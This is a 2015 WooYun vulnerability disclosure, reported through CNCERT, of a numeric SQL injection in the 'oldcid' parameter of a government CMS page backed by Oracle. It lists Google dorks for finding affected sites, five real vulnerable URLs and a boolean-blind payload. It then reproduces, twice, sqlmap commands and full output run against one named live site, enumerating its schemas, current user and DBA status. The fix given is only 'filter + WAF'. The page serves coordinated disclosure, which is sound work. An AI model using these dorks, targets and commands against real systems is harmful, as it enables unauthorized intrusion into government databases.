当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102530

漏洞标题:某政府通用型系统数字型SQL注入漏洞(Oracle数据库)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-03-20 11:45

修复时间:2015-06-23 09:02

公开时间:2015-06-23 09:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-25: 厂商已经确认,细节仅向厂商公开
2015-03-28: 细节向第三方安全合作伙伴开放
2015-05-19: 细节向核心白帽子及相关领域专家公开
2015-05-29: 细节向普通白帽子公开
2015-06-08: 细节向实习白帽子公开
2015-06-23: 细节向公众公开

简要描述:

RT

详细说明:

漏洞文件:subcollist.jsp?oldcid
参数:oldcid存在注入
google特征:inurl:/cms/website/04或者inurl:subcollist.jsp
按照通用型程序流程得有案例+演示,部分案例如下:
http://www.zygs.com/zygs/cms/website/04/template_div/subcollist.jsp?oldcid=3386
http://www.hnrbi.com/kcsjy/cms/website/04/template_div/subcollist.jsp?oldcid=3356
http://www.hhs.com.cn/hnjl/cms/website/04/template_div/subcolists.jsp?oldcid=4750
http://218.29.75.230/hngsdc/cms/website/04/template_div/newSubCollist.jsp?oldcid=4272
http://www.hngsdc.com/hngsdc/cms/website/04/template_div/newSubCollist.jsp?oldcid=4386
...
演示其中一个案例:
http://www.hnrbi.com/kcsjy/cms/website/04/template_div/subcollist.jsp?oldcid=3356
注入判断:
正常页面

0317_2.png


提交-1页面显示不同:

0317_3.png


判断为数字型注入,直接上工具跑,如图:

0317_1.png


数据库:

0317_4.png


available databases [21]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] KCSJY
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB


其他注入信息:

0317_5.png


其他站点注入类似
付sqlmap结果:

sqlmap.py -u "http://www.hnrbi.com/kcsjy/cms/website/04/templ
ate_div/subcollist.jsp?oldcid=3356" --batch --thread 10 --dbs --dbms=Oracle
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:03:39
[11:03:39] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: oldcid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: oldcid=3356 AND 6243=6243
---
[11:03:49] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[11:03:49] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[11:03:49] [INFO] fetching database (schema) names
[11:03:49] [INFO] fetching number of databases
[11:03:49] [INFO] retrieving the length of query output
[11:03:49] [INFO] retrieved:
[11:03:50] [WARNING] reflective value(s) found and filtering out
[11:04:23] [CRITICAL] connection timed out to the target url or proxy. sqlmap is
going to retry the request
[11:04:23] [WARNING] if the problem persists please try to lower the number of u
sed threads (--threads)
2
[11:04:52] [INFO] retrieved: 21
[11:04:52] [INFO] retrieving the length of query output
[11:04:52] [INFO] retrieved: 6
[11:05:34] [INFO] retrieved: CTXSYS
[11:05:34] [INFO] retrieving the length of query output
[11:05:34] [INFO] retrieved: 6
[11:06:08] [INFO] retrieved: DBSNMP
[11:06:08] [INFO] retrieving the length of query output
[11:06:08] [INFO] retrieved: 5
[11:07:03] [INFO] retrieved: DMSYS
[11:07:03] [INFO] retrieving the length of query output
[11:07:03] [INFO] retrieved: 6
[11:07:41] [INFO] retrieved: EXFSYS
[11:07:41] [INFO] retrieving the length of query output
[11:07:41] [INFO] retrieved: 2
[11:08:08] [INFO] retrieved: HR
[11:08:08] [INFO] retrieving the length of query output
[11:08:08] [INFO] retrieved: 2
[11:08:23] [INFO] retrieved: IX
[11:08:23] [INFO] retrieving the length of query output
[11:08:23] [INFO] retrieved: 5
[11:08:40] [INFO] retrieved: KCSJY
[11:08:40] [INFO] retrieving the length of query output
[11:08:40] [INFO] retrieved: 5
[11:09:08] [INFO] retrieved: MDSYS
[11:09:08] [INFO] retrieving the length of query output
[11:09:08] [INFO] retrieved: 2
[11:09:47] [INFO] retrieved: OE
[11:09:47] [INFO] retrieving the length of query output
[11:09:47] [INFO] retrieved: 7
[11:10:34] [INFO] retrieved: OLAPSYS
[11:10:34] [INFO] retrieving the length of query output
[11:10:34] [INFO] retrieved: 6
[11:11:15] [INFO] retrieved: ORDSYS
[11:11:15] [INFO] retrieving the length of query output
[11:11:15] [INFO] retrieved: 5
[11:11:39] [INFO] retrieved: OUTLN
[11:11:39] [INFO] retrieving the length of query output
[11:11:39] [INFO] retrieved: 2
[11:12:12] [INFO] retrieved: _M 1/2 (50%)
[11:12:48] [CRITICAL] connection timed out to the target url or proxy. sqlmap is
going to retry the request
[11:12:49] [INFO] retrieved: PM
[11:12:49] [INFO] retrieving the length of query output
[11:12:49] [INFO] retrieved: 5
[11:13:19] [INFO] retrieved: SCOTT
[11:13:19] [INFO] retrieving the length of query output
[11:13:19] [INFO] retrieved: 2
[11:13:50] [INFO] retrieved: SH
[11:13:50] [INFO] retrieving the length of query output
[11:13:50] [INFO] retrieved: 3
[11:14:09] [INFO] retrieved: SYS
[11:14:09] [INFO] retrieving the length of query output
[11:14:09] [INFO] retrieved: 6
[11:14:50] [INFO] retrieved: SYSMAN
[11:14:50] [INFO] retrieving the length of query output
[11:14:50] [INFO] retrieved: 6
[11:15:47] [INFO] retrieved: SYSTEM
[11:15:47] [INFO] retrieving the length of query output
[11:15:47] [INFO] retrieved: 6
[11:16:31] [INFO] retrieved: T_MSYS 5/6 (83%)
[11:17:05] [CRITICAL] connection timed out to the target url or proxy. sqlmap is
going to retry the request
[11:17:28] [INFO] retrieved: TSMSYS
[11:17:28] [INFO] retrieving the length of query output
[11:17:28] [INFO] retrieved: 5
[11:17:55] [INFO] retrieved: WMSYS
[11:17:55] [INFO] retrieving the length of query output
[11:17:55] [INFO] retrieved: 3
[11:18:11] [INFO] retrieved: XDB
available databases [21]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] KCSJY
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[11:18:11] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\www.hnrbi.com'
[*] shutting down at 11:18:11


sqlmap.py -u "http://www.hnrbi.com/kcsjy/cms/website/04/templ
ate_div/subcollist.jsp?oldcid=3356" --batch --thread 10 --dbms=Oracle --current-
db --current-user --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:19:04
[11:19:05] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: oldcid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: oldcid=3356 AND 6243=6243
---
[11:19:05] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[11:19:05] [INFO] fetching current user
[11:19:05] [INFO] retrieving the length of query output
[11:19:05] [INFO] retrieved:
[11:19:05] [WARNING] reflective value(s) found and filtering out
5
[11:19:22] [INFO] retrieved: KCSJY
current user: 'KCSJY'
[11:19:22] [INFO] fetching current database
[11:19:22] [INFO] retrieving the length of query output
[11:19:22] [INFO] resumed: 5
[11:19:22] [INFO] resumed: KCSJY
current schema (equivalent to database on Oracle): 'KCSJY'
[11:19:22] [INFO] testing if current user is DBA
current user is DBA: False
[11:19:22] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\www.hnrbi.com'
[*] shutting down at 11:19:22

漏洞证明:

C:\Python27\sqlmap>sqlmap.py -u "http://www.hnrbi.com/kcsjy/cms/website/04/templ
ate_div/subcollist.jsp?oldcid=3356" --batch --thread 10 --dbs --dbms=Oracle
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:03:39
[11:03:39] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: oldcid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: oldcid=3356 AND 6243=6243
---
[11:03:49] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[11:03:49] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[11:03:49] [INFO] fetching database (schema) names
[11:03:49] [INFO] fetching number of databases
[11:03:49] [INFO] retrieving the length of query output
[11:03:49] [INFO] retrieved:
[11:03:50] [WARNING] reflective value(s) found and filtering out
[11:04:23] [CRITICAL] connection timed out to the target url or proxy. sqlmap is
going to retry the request
[11:04:23] [WARNING] if the problem persists please try to lower the number of u
sed threads (--threads)
2
[11:04:52] [INFO] retrieved: 21
[11:04:52] [INFO] retrieving the length of query output
[11:04:52] [INFO] retrieved: 6
[11:05:34] [INFO] retrieved: CTXSYS
[11:05:34] [INFO] retrieving the length of query output
[11:05:34] [INFO] retrieved: 6
[11:06:08] [INFO] retrieved: DBSNMP
[11:06:08] [INFO] retrieving the length of query output
[11:06:08] [INFO] retrieved: 5
[11:07:03] [INFO] retrieved: DMSYS
[11:07:03] [INFO] retrieving the length of query output
[11:07:03] [INFO] retrieved: 6
[11:07:41] [INFO] retrieved: EXFSYS
[11:07:41] [INFO] retrieving the length of query output
[11:07:41] [INFO] retrieved: 2
[11:08:08] [INFO] retrieved: HR
[11:08:08] [INFO] retrieving the length of query output
[11:08:08] [INFO] retrieved: 2
[11:08:23] [INFO] retrieved: IX
[11:08:23] [INFO] retrieving the length of query output
[11:08:23] [INFO] retrieved: 5
[11:08:40] [INFO] retrieved: KCSJY
[11:08:40] [INFO] retrieving the length of query output
[11:08:40] [INFO] retrieved: 5
[11:09:08] [INFO] retrieved: MDSYS
[11:09:08] [INFO] retrieving the length of query output
[11:09:08] [INFO] retrieved: 2
[11:09:47] [INFO] retrieved: OE
[11:09:47] [INFO] retrieving the length of query output
[11:09:47] [INFO] retrieved: 7
[11:10:34] [INFO] retrieved: OLAPSYS
[11:10:34] [INFO] retrieving the length of query output
[11:10:34] [INFO] retrieved: 6
[11:11:15] [INFO] retrieved: ORDSYS
[11:11:15] [INFO] retrieving the length of query output
[11:11:15] [INFO] retrieved: 5
[11:11:39] [INFO] retrieved: OUTLN
[11:11:39] [INFO] retrieving the length of query output
[11:11:39] [INFO] retrieved: 2
[11:12:12] [INFO] retrieved: _M 1/2 (50%)
[11:12:48] [CRITICAL] connection timed out to the target url or proxy. sqlmap is
going to retry the request
[11:12:49] [INFO] retrieved: PM
[11:12:49] [INFO] retrieving the length of query output
[11:12:49] [INFO] retrieved: 5
[11:13:19] [INFO] retrieved: SCOTT
[11:13:19] [INFO] retrieving the length of query output
[11:13:19] [INFO] retrieved: 2
[11:13:50] [INFO] retrieved: SH
[11:13:50] [INFO] retrieving the length of query output
[11:13:50] [INFO] retrieved: 3
[11:14:09] [INFO] retrieved: SYS
[11:14:09] [INFO] retrieving the length of query output
[11:14:09] [INFO] retrieved: 6
[11:14:50] [INFO] retrieved: SYSMAN
[11:14:50] [INFO] retrieving the length of query output
[11:14:50] [INFO] retrieved: 6
[11:15:47] [INFO] retrieved: SYSTEM
[11:15:47] [INFO] retrieving the length of query output
[11:15:47] [INFO] retrieved: 6
[11:16:31] [INFO] retrieved: T_MSYS 5/6 (83%)
[11:17:05] [CRITICAL] connection timed out to the target url or proxy. sqlmap is
going to retry the request
[11:17:28] [INFO] retrieved: TSMSYS
[11:17:28] [INFO] retrieving the length of query output
[11:17:28] [INFO] retrieved: 5
[11:17:55] [INFO] retrieved: WMSYS
[11:17:55] [INFO] retrieving the length of query output
[11:17:55] [INFO] retrieved: 3
[11:18:11] [INFO] retrieved: XDB
available databases [21]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] KCSJY
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[11:18:11] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\www.hnrbi.com'
[*] shutting down at 11:18:11
C:\Python27\sqlmap>sqlmap.py -u "http://www.hnrbi.com/kcsjy/cms/website/04/templ
ate_div/subcollist.jsp?oldcid=3356" --batch --thread 10 --dbms=Oracle --current-
db --current-user --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:19:04
[11:19:05] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: oldcid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: oldcid=3356 AND 6243=6243
---
[11:19:05] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[11:19:05] [INFO] fetching current user
[11:19:05] [INFO] retrieving the length of query output
[11:19:05] [INFO] retrieved:
[11:19:05] [WARNING] reflective value(s) found and filtering out
5
[11:19:22] [INFO] retrieved: KCSJY
current user: 'KCSJY'
[11:19:22] [INFO] fetching current database
[11:19:22] [INFO] retrieving the length of query output
[11:19:22] [INFO] resumed: 5
[11:19:22] [INFO] resumed: KCSJY
current schema (equivalent to database on Oracle): 'KCSJY'
[11:19:22] [INFO] testing if current user is DBA
current user is DBA: False
[11:19:22] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\www.hnrbi.com'
[*] shutting down at 11:19:22

修复方案:

过滤+WAF

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-03-25 09:00

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向交通部通报中心通报,由其后续协调网站管理单位处置。

最新状态:

暂无